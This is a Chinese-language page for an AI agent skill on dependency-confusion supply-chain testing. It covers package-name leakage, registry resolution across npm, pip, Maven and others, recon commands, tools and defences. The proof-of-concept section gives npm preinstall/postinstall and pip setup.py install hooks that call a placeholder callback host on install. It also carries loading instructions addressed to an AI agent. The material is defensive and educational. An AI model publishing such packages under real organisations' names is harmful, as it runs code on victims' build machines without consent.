关于 dependency-confusion
用于评估软件供应链依赖混淆风险的安全技能,涵盖包名发现、跨生态注册表解析问题、授权 PoC 测试及防护控制。
主要功能
- 01内部包名发现
- 02跨生态注册表风险分析
- 03只读公共注册表检查
- 04无破坏性回调 PoC 模式
- 05依赖混淆测试工具
- 06注册表与版本防护
适用场景
- 01审计清单中泄露的私有包名
- 02检查包来源和版本解析
- 03授权测试 CI 安装流程
- 04强化私有注册表配置
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill dependency-confusion安装后在 Claude Code 中输入/dependency-confusion确认已加载。
详细介绍
技能:依赖混淆——供应链攻击手册
AI 加载指令:依赖混淆专家方法论。涵盖私有包名称如何泄露、公共注册表如何赢得版本解析、生态系统特定的陷阱(npm 作用域、pip 额外索引、Maven 仓库顺序)、侦察命令、非破坏性 PoC 模式(使用回调,而非数据外泄)以及防御措施。如果范围涉及清单或 CI 缓存,请配合供应链侦察工作流使用。仅可用于经授权测试的系统和项目。
0. 快速入门
优先检查的内容
- 清单中列出的包名称看起来像内部包(简短且无作用域的名称、组织专用标记、产品代号),但没有严格锁定私有注册表。
- 有迹象表明,同一名称可能存在于公共注册表中,或可以在其中抢注,且版本号高于私有源发布的版本。
- 锁文件缺失、过时,或未在 CI 中强制执行,导致
install/build可能转而使用公共元数据。
快速心智模型:如果解析器能同时看到私有和公共索引,且版本范围允许,那么攻击者发布的版本可能成为匹配条件的“最新”版本。
路由提示:如果任务涉及供应链、仓库暴露或 CI 构建侦察,请先使用 recon-for-sec 列出内部包名称和可能与公共注册表发生冲突的名称。
1. 核心概念
- 私有包:组织仅在内部注册表发布的库(或根据惯例应属于“我们”的库),例如带作用域的名称
@org-scope/internal-utils,或不带作用域的名称,例如acme-billing-sdk。 - 攻击者抢注名称:在公共注册表(npmjs、PyPI、RubyGems 等)发布同名包。
- 解析器偏好:许多配置会在所有已配置的索引中解析满足条件的最高版本(或合并元数据),因此只要版本范围允许,公共源中的
9.9.9就可能胜过私有源中的1.2.3。 - 执行:包管理器会运行生命周期脚本(npm
preinstall/postinstall、setuptools 入口点等)→ 攻击者代码会在开发者笔记本、CI 或生产镜像构建环境中运行。
这是一个供应链类问题:影响通常广泛(涉及许多使用方),且在构建或运行时钩子触发之前往往不易察觉。
2. 受影响的生态系统
| 生态系统 | 典型清单 | 混淆风险 |
|---|---|---|
| npm | package.json | 如果作用域归注册表所有,带作用域的包(@scope/pkg)会更安全;不带作用域的类私有名称则有高风险。多个注册表,或 .npmrc 中 registry 与按作用域配置的 @scope:registry= 设置错误,都会增加风险。 |
| pip | requirements.txt、pyproject.toml、setup.py | pip install -i / --extra-index-url 会合并索引;公共索引可能为同一发行包名称提供更高版本。 |
| RubyGems | Gemfile | source 顺序以及额外源;名称含糊的 gem 可通过 rubygems.org 获取。 |
| Maven | pom.xml | 仓库声明顺序和镜像设置;如果策略允许,公共仓库发布相同 groupId:artifactId 的更高版本,就可能胜出。 |
| Composer | composer.json | Packagist 是默认源;未严格管理**repositories**/canonical 的私有包可能与公共名称冲突。 |
| Docker | FROM、镜像标签 | 在容器注册表(如公共镜像仓库)上,对名称类似内部基础镜像的镜像进行拼写仿冒。 |
3. 侦察
内部名称泄露的位置
- 仓库或分支中已提交的
package.json、requirements.txt、Gemfile、pom.xml、composer.json。 - 提及软件包路径的 JavaScript 源映射、打包资源或 错误堆栈跟踪。
.npmrc、.pypirc、CI 日志中显示的安装 URL 或镜像端点。- 问题跟踪器、gist 代码片段以及 SBOM 导出中的依赖关系图。
检查公开名称是否可抢注/可认领(只读)
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
路由说明:枚举完软件包名称后,只能在获授权的环境中考虑 PoC;查询公共注册表本身通常属于被动侦察。
4. 利用
授权测试模式
- 在目标解析器可访问的公共注册表中,注册(或使用受控命名空间)相同的软件包名称。
- 在受害者声明的范围内,发布一个比合法内部版本更高的 semver 版本(例如,
^1.0.0→ 发布9.9.9)。 - 添加 生命周期钩子,以不损害主机的方式证明代码已执行——优先使用指向你控制的协作者的 DNS/HTTP 回调,不要进行破坏性写入。
npm package.json — 最小回调式 PoC(示例)
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — Shell + curl 备用方案(示例)
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — setup 钩子模式(示例;仅用于获授权的实验室软件包)
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
参考实现(学习/实验室):社区 PoC 布局和工作流,与 0xsapra/dependency-confusion-exploit 类似——自动提升版本、发布并确认回调,仅限已获得书面许可的场景。
5. 工具
| 工具 | 作用 |
|---|---|
| visma-prodsec/confused | 扫描清单文件,查找可能可在公共注册表中认领的依赖项名称(多生态系统)。 |
| synacktiv/DepFuzzer | 自动化依赖混淆测试工作流(严格仅用于授权范围内)。 |
这些工具仅可用于你自己的清单或获授权的测试项目;不得用来抢注无关第三方的名称。
6. 防御
- npm:优先使用 带作用域的软件包(
@org-scope/pkg),并确保作用域归组织所有;设置.npmrc,使私有作用域映射到私有注册表,并确保内部名称不会意外使用默认registry公共注册表。 - 版本固定:使用精确版本和锁文件(
package-lock.json、poetry.lock、Gemfile.lock、composer.lock),并在 CI 中强制执行。 - pip:避免不谨慎地使用
--extra-index-url;优先使用带有镜像的单一私有索引,或在 CI 中采用明确的--index-url策略。 - Maven / Gradle:控制仓库顺序,使用内部镜像,并在发布流水线中阻止意外的 groupId。
- Composer:为私有软件包使用带
canonical: true的repositories;确认 Packagist 没有引入意外的供应商。 - 防御性注册:在策略允许的情况下,在公共注册表中预留内部名称(抢注自己的名称)。
- 监控:使用 Socket.dev、Snyk 或类似的 SBOM/供应链扫描工具,对关键软件包的新发布者或版本跳跃发出警报。
7. 决策树
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)
相关路由
- 来自
recon-for-sec:进行供应链侦察时,在提出任何发布/PoC 步骤之前,应将泄露的清单和内部软件包标识符与第 3 节中的检查项和第 7 节中的决策树交叉关联。